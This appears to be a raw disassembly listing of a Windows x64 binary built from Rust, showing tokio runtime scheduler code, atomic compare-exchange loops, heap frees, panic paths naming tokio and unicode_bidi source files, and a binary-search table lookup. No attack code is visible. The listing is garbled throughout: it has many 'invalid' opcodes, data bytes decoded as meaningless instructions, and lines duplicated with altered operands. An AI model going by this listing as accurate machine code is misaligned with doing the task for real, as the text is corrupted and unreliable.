test bl, bl
je 0x14010e6d4
fisttp dword [rdi]
test byte [rbp + 1], dl
add byte [rax], al
lea eax, [rbx - 1]
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x125], al
mov rax, qword [rbp + 0x30]
test al, 2
je 0x14010e5c1
jmp 0x14010e700
xor r12d, r12d
xor ebx, ebx
mov rax, qword [rbp + 0x30]
test al, 2
jne 0x14010e700
test al, 4
jne 0x14010e72e
test al, 1
je 0x14010e612
cmp qword [rbp + 0x28], rdi
jne 0x14010e5e0
lea rax, fcn.1400fce60
cmp qword [rbp + 0x20], rax
je 0x14010e647
mov rax, qword [rbp + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbp + 0x30], rcx
jne 0x14010e5f0
test al, 2
jne 0x14010e6eb
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x18]
mov rcx, rdi
call fcn.1400fce60
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbp + 0x30], rcx
jne 0x14010e630
test al, 2
jne 0x14010e700
mov bpl, 1
test r12b, r12b
je 0x14010e6e0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010e6e0
cmp eax, 1
je 0x14010e6a9
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov rdi, qword [rsp + 0x70]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r12b
mov byte [rax + 0x125], bl
cmp r15b, 2
jne 0x14010e736
jmp 0x14010e7ad
mov rcx, rdi
call fcn.1400fcf70
mov bpl, 1
nop
cmp r15b, 2
jne 0x14010e736
jmp 0x14010e7ad
lock or qword [rbp + 0x30], 1
nop word cs:[rax + rax]
movzx eax, byte [rbp + 0x38]
mov byte [rbp + 0x38], 0
xor al, 1
test al, al
jne 0x14010e72e
mov rax, qword [rsi + 8]
test rax, rax
je 0x14010e726
lock dec qword [rax]
jne 0x14010e726
mov rcx, qword [rsi + 8]
call fcn.1400d6d80
mov qword [rsi + 8], 0
xor ebp, ebp
cmp r15b, 2
je 0x14010e7ad
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010e7ad
cmp eax, 1
je 0x14010e78c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
invalid
invalid
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov rdi, qword [rsp + 0x70]
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r15b
mov byte [rax + 0x125], r14b
test bpl, bpl
je 0x14010e8a2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x14010e853
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xd0]
mov eax, 2
lock cmpxchg qword [rbx + 0x10], r13
je 0x14010e46d
lea r14, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x20], cl
jne 0x14010e866
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbx + 0x10], rcx
jne 0x14010e880
lea r15, [rbx + 0x18]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
mov r9d, 0x3b9aca00
call fcn.1400429b0
mov eax, 2
lock cmpxchg qword [rbx + 0x10], r13
jne 0x14010e830
jmp 0x14010e460
invalid
test rax, rax
jne 0x14010ee81
invalid
add byte [rax], al
invalid
call fcn.14012ce50
jmp 0x14010e7d6
mov rcx, r14
call fcn.1401262a0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbx + 0x10], rcx
je 0x14010e81f
nop dword [rax]
cmp rax, 2
jne 0x14010eeaa
xor eax, eax
xchg qword [rbx + 0x10], rax
xchg dword [rbx + 0x10], eax
xchg dword [rbx + 0x10], eax
jmp 0x14010e460
mov rcx, r14
call fcn.140126720
jmp 0x14010e46d
mov rcx, rdi
call fcn.1400fd030
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14010e911
movdqu xmm0, xmmword [rsp + 0x98]
movdqu xmmword [rsp + 0x38], xmm0
cwde
add byte [rax], al
add bl, dh
movq qword [rsp + 0x38], mm0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.140104640
test rax, rax
je 0x14010e911
mov rsi, rax
mov rdi, rdx
mov rax, qword [rdx]
test rax, rax
je 0x14010e8ed
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x14010e911
cmp qword [rdi + 0x10], 0x11
jb 0x14010e8ff
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0xf0]
mov r10, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x108]
movdqa xmm0, xmmword [rcx]
test r10, r10
je 0x14010e952
mov rdx, r10
shl rdx, 5
lea r11, [r10 + rdx]
add r11, 0x31
mov rsi, rcx
sub rsi, rdx
add rsi, 0xffffffffffffffe0
mov edi, 0x10
jmp 0x14010e954
xor edi, edi
lea r9, [rcx + 0x10]
pmovmskb edx, xmm0
mov r8d, edx
not r8d
add r10, rcx
inc r10
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xd0], r9
mov qword [rsp + 0xd8], r10
mov word [rsp + 0xe0], r8w
mov qword [rsp + 0xe8], rax
test rax, rax
je 0x14010ebe7
cmp dx, 0xffff
jne 0x14010e9f2
nop dword [rax + rax]
movdqa xmm0, xmmword [r9]
pmovmskb edx, xmm0
add rcx, 0xfffffffffffffe00
add r9, 0x10
cmp edx, 0xffff
je 0x14010e9c0
mov r8d, edx
not r8d
mov qword [rsp + 0xd0], r9
mov qword [rsp + 0xc8], rcx
mov r9d, 0xfffffffe
sub r9d, edx
and r9d, r8d
mov word [rsp + 0xe0], r9w
dec rax
mov qword [rsp + 0xe8], rax
tzcnt edx, r8d
shl edx, 5
sub rcx, rdx
mov rdi, qword [rcx - 0x20]
mov rbx, qword [rcx - 0x18]
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmmword [rsp + 0x120], xmm0
test rbx, rbx
je 0x14010ebe7
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
mov rsi, r14
shl rsi, 5
test rcx, rcx
jne 0x14010ef4b
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rsi
call fcn.1400f8ae0
test rax, rax
je 0x14010ef55
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
movdqu xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movups xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov r14, qword [rsp + 0x68]
movzx ecx, word [rsp + 0x60]
mov r15, qword [rsp + 0x48]
mov esi, 1
mov rbx, qword [rsp + 0x50]
mov r9, 0xffffffffffffffff
lea rdi, [rsp + 0x78]
jmp 0x14010eb3c
mov rcx, rsi
shl rcx, 5
mov qword [rax + rcx], r13
mov qword [rax + rcx + 8], r12
movdqa xmm0, xmmword [rsp + 0x130]
add byte [rax], al
add byte [rax], al
movdqu xmmword [rax + rcx + 0x10], xmm0
inc rsi
mov qword [rsp + 0x88], rsi
mov ecx, ebp
test r14, r14
je 0x14010ebf9
test cx, cx
je 0x14010eb60
lea ebp, [rcx - 1]
and ebp, ecx
dec r14
test r15, r15
jne 0x14010eb8b
jmp 0x14010ec02
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
add r15, 0xfffffffffffffe00
add rbx, 0x10
cmp ecx, 0xffff
je 0x14010eb60
mov edx, 0xfffffffe
sub edx, ecx
not ecx
mov ebp, ecx
and ebp, edx
dec r14
tzcnt ecx, ecx
shl ecx, 5
mov rdx, r15
sub rdx, rcx
mov r13, qword [rdx - 0x20]
mov r12, qword [rdx - 0x18]
movdqu xmm0, xmmword [rdx - 0x10]
movdqa xmmword [rsp + 0x130], xmm0
test r12, r12
je 0x14010ebfe
cmp rsi, qword [rsp + 0x78]
jne 0x14010eb10
mov r8, r14
inc r8
cmove r8, r9
mov rcx, rdi
mov rdx, rsi
call fcn.14012cf20
mov r9, 0xffffffffffffffff
mov rax, qword [rsp + 0x80]
add cl, ch
sub edi, edi
invalid
invalid
add cl, ch
sub edi, edi
invalid
lea rcx, [rsp + 0xb0]
call fcn.14010f840
jmp 0x14010ee33
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
or al, 0
add cl, ch
cmp al, byte [rdx]
add byte [rax], al
xor r14d, r14d
jmp 0x14010ec07
mov ecx, ebp
jmp 0x14010ec07
mov ecx, ebp
xor r15d, r15d
mov word [rsp + 0x60], cx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], r14
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
call fcn.14010f840
mov r14, qword [rsp + 0x78]
and al, 0x78
and al, 0x78
mov rdi, qword [rsp + 0x80]
cmp rsi, 2
jae 0x14010ec53
mov r13, rsi
cmc
shl r13, 5
add r13, rdi
mov rbx, rdi
test rsi, rsi
jne 0x14010ed17
add byte [rax], al
add byte [rax], al
jmp 0x14010edb0
cmp rsi, 0x15
jae 0x14010ed02
mov rax, rsi
shl rax, 5
add rax, rdi
lea rcx, [rdi + 0x20]
mov edx, 0x20
jmp 0x14010eca8
mov r9, rdi
mov qword [r9], r8
movdqa xmm0, xmmword [rsp + 0x30]
movdqu xmmword [r9 + 8], xmm0
mov r8, qword [rsp + 0x40]
mov qword [r9 + 0x18], r8
add rcx, 0x20
add rdx, 0x20
cmp rcx, rax
je 0x14010ec38
mov r8, qword [rcx]
cmp r8, qword [rcx - 0x20]
jae 0x14010ec9b
mov r9, qword [rcx + 0x18]
mov qword [rsp + 0x40], r9
movups xmm0, xmmword [rcx + 8]
movaps xmmword [rsp + 0x30], xmm0
mov r10, rdx
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rdi + r10 - 0x20]
movups xmm1, xmmword [rdi + r10 - 0x10]
movups xmmword [rdi + r10 + 0x10], xmm1
movdqu xmmword [rdi + r10], xmm0
cmp r10, 0x20
je 0x14010ec80
lea r9, [r10 - 0x20]
cmp r8, qword [rdi + r10 - 0x40]
mov r10, r9
jb 0x14010ecd0
add r9, rdi
jmp 0x14010ec83
mov rcx, rdi
mov rdx, rsi
call fcn.14010f630
shl rsi, 5
add rsi, rdi
mov r13, rsi
mov qword [rsp + 0x70], r14
lea rbp, [rsp + 0x38]
lea rsi, [rsp + 0x30]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rdi
jmp 0x14010ed58
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call r12
lea rax, [rbx + 0x20]
cmp rax, r13
je 0x14010eda7
mov rbx, rax
mov rax, qword [rax + 8]
test rax, rax
je 0x14010eda7
movdqu xmm0, xmmword [rbx + 0x10]
movdqu xmmword [rbp], xmm0
mov qword [rsp + 0x30], rax
mov rcx, rsi
call fcn.140104640
test rax, rax
je 0x14010ed4f
mov r14, rax
mov r15, rdx
mov rax, qword [rdx]
test rax, rax
je 0x14010ed93
mov rcx, r14
call rax
cmp qword [r15 + 8], 0
je 0x14010ed4f
cmp qword [r15 + 0x10], 0x11
jb 0x14010ed40
mov r14, qword [r14 - 8]
jmp 0x14010ed40
add rbx, 0x20
mov r14, qword [rsp + 0x70]
sub r13, rbx
je 0x14010ee1c
shr r13, 5
add rbx, 0x10
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x14010edd9
add rbx, 0x20
dec r13
je 0x14010ee1c
mov rcx, qword [rbx + 8]
call rsi
mov rax, qword [rbx - 8]
lock dec qword [rax]
je 0x14010ee00
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14010edd0
jmp 0x14010ee12
mov rcx, qword [rbx - 8]
call fcn.1400d68b0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14010edd0
mov rcx, rbx
call fcn.1400feb20
jmp 0x14010edd0
test r14, r14
je 0x14010ee33
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x14016a920]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168660]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140122900
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0xb0], rax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xffef9bed
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xffef9bed
mov qword [rsp + 0xb8], rax
lea rax, [0x140167640]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, [0x14016a750]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_shutdown.rsCannot_drop_a_runtime_in_a_context_where_blocking_is_not_allowed._This_happens_when_a_runtime_is_dropped_from_within_an_asynchronous_context.
lea rcx, [rsp + 0x30]
call fcn.1401224d0
ud2
xor ecx, ecx
mov rdx, rsi
call fcn.140122170
mov ecx, 8
mov rdx, rsi
call fcn.140122170
int3
add byte [rax - 0x7f], cl
mov al, 0
add byte [rax], al
mov rcx, rsi
mov ecx, esi
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.140126720
jle 0x14010f023
add dword [rdi], ecx
test dh, ch
add eax, dword [rax]
add byte [rcx], dh
dec dword [rax - 0x79]
jle 0x14010f028
test rdi, rdi
je 0x14010f343
mov rax, qword [rsi + 0x38]
lock inc qword [rax]
jle 0x14010f41f
or byte [rax + rax], al
invalid
or byte [rax + rax], al
add byte [rax - 0x73], cl
or byte [rdi], r9b
push rdi
ror byte [rdi], 0x11
test byte [rax + riz*4], ah
lea rcx, [rsi + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0xb0], 8
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], rcx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0x9824
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rbx + 0x9029805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14010f093
cmp eax, 1
je 0x14010f0c0
jmp 0x14010f106
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movabs rcx, 0x7fffffffffffffff
cmp qword [rax + 0xd8], rcx
jae 0x14010f421
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp dword [rax + 0xe0], 2
jne 0x14010f143
mov qword [rsp + 0x98], 0
mov rdx, qword [rsi + 0x38]
add rdx, 0x10
mov rcx, rdi
call fcn.1400fd550
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x90], 0
lea rsi, [rsp + 0x80]
jmp 0x14010f26f
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
cmp dword [rsp + 0x20], 1
je 0x14010f42d
cmp qword [rsp + 0x30], 0
jne 0x14010f473
mov rdi, qword [rsp + 0x38]
mov qword [rsp + 0x38], 0
test rdi, rdi
je 0x14010f47f
mov qword [rsp + 0x30], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov r14, qword [rbx + 0x110]
lea rax, [rsp + 0x20]
mov qword [rbx + 0x110], rax
mov rdx, qword [rsi + 0x38]
add rdx, 0x10
mov rcx, rdi
call fcn.1400fd550
mov qword [rbx + 0x110], r14
cmp qword [rsp + 0x30], 0
jne 0x14010f497
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rsi, qword [rsp + 0x38]
test rsi, rsi
je 0x14010f25e
lea rcx, [rsi + 0x40]
call fcn.1400e0790
cmp qword [rsi + 0x40], 0
je 0x14010f23a
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
call fcn.1400fd340
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x30]
inc rax
jmp 0x14010f260
xor eax, eax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rax
lea rsi, [rsp + 0x20]
mov rcx, rsi
call fcn.1400fd3e0
mov rcx, rsi
call fcn.1400fd1e0
cmp dword [rsp + 0x68], 3
je 0x14010f336
lea rcx, [rsp + 0x68]
call fcn.1401015c0
mov rax, qword [rsp + 0x68]
cmp rax, 2
je 0x14010f336
lea rcx, [rsp + 0x70]
test rax, rax
je 0x14010f2bf
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x14010f336
call fcn.1400fed10
jmp 0x14010f336
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x14010f336
call fcn.1400fe820
jmp 0x14010f336
mov rbx, qword [rsi + 0x58]
add rsi, 0x118
shl rdi, 4
xor r14d, r14d
nop
mov rcx, qword [rbx + r14 + 8]
mov rdx, rsi
call 0x1400fe280
add r14, 0x10
cmp rdi, r14
jne 0x14010f320
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14010f35f
call fcn.14012bf20
test al, al
je 0x14010f27f
and bh, bh
invalid
invalid
and bh, bh
invalid
lea rax, str.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
adc dword [rsp + 0x38], eax
adc dword [rsp + 0x38], eax
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
lea rcx, [rsi + 0xc0]
call fcn.140126720
mov rdi, qword [rsi + 0x60]
mov edi, dword [rsi + 0x60]
mov edi, dword [rsi + 0x60]
test rdi, rdi
jne 0x14010f30c
jmp 0x14010f336
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
ud2
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401228a0
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0xc8]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.core_missing
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140122a20
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
int3
lea edx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x14010f55b
jmp 0x14010f573
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x40
pop rsi
ret
in al, dx
sub byte [rcx + rcx*4 - 0x39], cl
mov rsi, rdx
cmp r9, 8
jb 0x14010f5f1
shr r9, 3
mov rbx, r9
shl rbx, 7
lea rdx, [rcx + rbx]
imul r14, r9, 0xe0
lea r8, [rcx + r14]
mov r15, r9
call fcn.14010f580
mov r12, rax
lea rdx, [rsi + rbx]
lea r8, [rsi + r14]
mov rcx, rsi
mov r9, r15
call fcn.14010f580
mov rsi, rax
add rbx, rdi
add r14, rdi
mov rcx, rdi
mov rdx, rbx
mov r8, r14
mov r9, r15
call fcn.14010f580
mov rcx, r12
mov rdi, rax
mov rax, qword [rcx]
mov rdx, qword [rsi]
cmp rax, rdx
setb r8b
mov r9, qword [rdi]
cmp rax, r9
setb al
xor al, r8b
cmp rdx, r9
setb dl
xor dl, r8b
cmovne rsi, rdi
test al, al
cmovne rsi, rcx
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea eax, [rbp - 1]
and eax, ebp
mov ebp, eax
dec r14
je 0x14010f7ee
test bp, bp
jne 0x14010f7af
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
add r15, 0xfffffffffffffe00
add r12, 0x10
cmp ebp, 0xffff
je 0x14010f790
not ebp
tzcnt eax, ebp
shl eax, 5
mov rdi, r15
sub rdi, rax
mov rcx, qword [rdi - 8]
call r13
mov rax, qword [rdi - 0x18]
lock dec qword [rax]
jne 0x14010f7d6
mov rcx, qword [rdi - 0x18]
call fcn.1400d68b0
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne case.0x1400dd9c6.4717
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.1400feb20
jmp case.0x1400dd9c6.4717
movabs rax, 0x7c1f07c1f07c1ef
cmp rbx, rax
jne 0x14010f80e
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl rbx, 5
mov rax, qword [rsi]
neg rbx
lea r8, [rax + rbx]
add r8, 0xffffffffffffffe0
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
sub al, 0x8b
out dx, eax
dec dword [rax - 0x7d]
mov esp, 0xb824
add byte [rax], al
test eax, eax
je 0x14010fff4
add r13, rdi
lea rcx, [r12 + rdi]
sub rbx, rdi
shr r15d, 2
and r15d, 7
mov qword [rax], r13
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], 1
mov r8, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov r13, rbp
mov r9, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [r13 + 0x18], rax
mov rdi, rsi
mov edi, esi
cmp byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x47], cl
cmp qword [r13 + 8], r8
invalid
int3
cmovb edx, eax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 0xb5]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 0x5a]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 0x2d]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmovb edx, eax
cmovb edx, eax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 0x17]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 0xb]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 6]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 3]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 1]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + 1]
lea r9, [rax + rax*2]
cmp dword [r8 + r9*4 + 4], ecx
cmovb rdx, rax
cmp dword [r8 + r9*4], ecx
cmovbe rdx, rax
lea rax, [rdx + rdx*2]
cmp dword [r8 + rax*4], ecx
seta r10b
xor r9d, r9d
cmp dword [r8 + rax*4 + 4], ecx
setb cl
or r10b, cl
mov al, 9
jne 0x140110353
mov r9b, cl
add rdx, r9
cmp rdx, 0x5a5
ja 0x140110358
lea rax, [rdx + rdx*2]
movzx eax, byte [r8 + rax*4 + 8]
add rsp, 0x28
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_bidi_0.3.15_srcchar_datamod.rs
mov ecx, 0x5a6
mov edx, 0x5a6
call fcn.140122580
int3
ret
cmp eax, 0xd
mov dh, 0x72
add dword [rbx - 0x7fbec01a], eax
clc
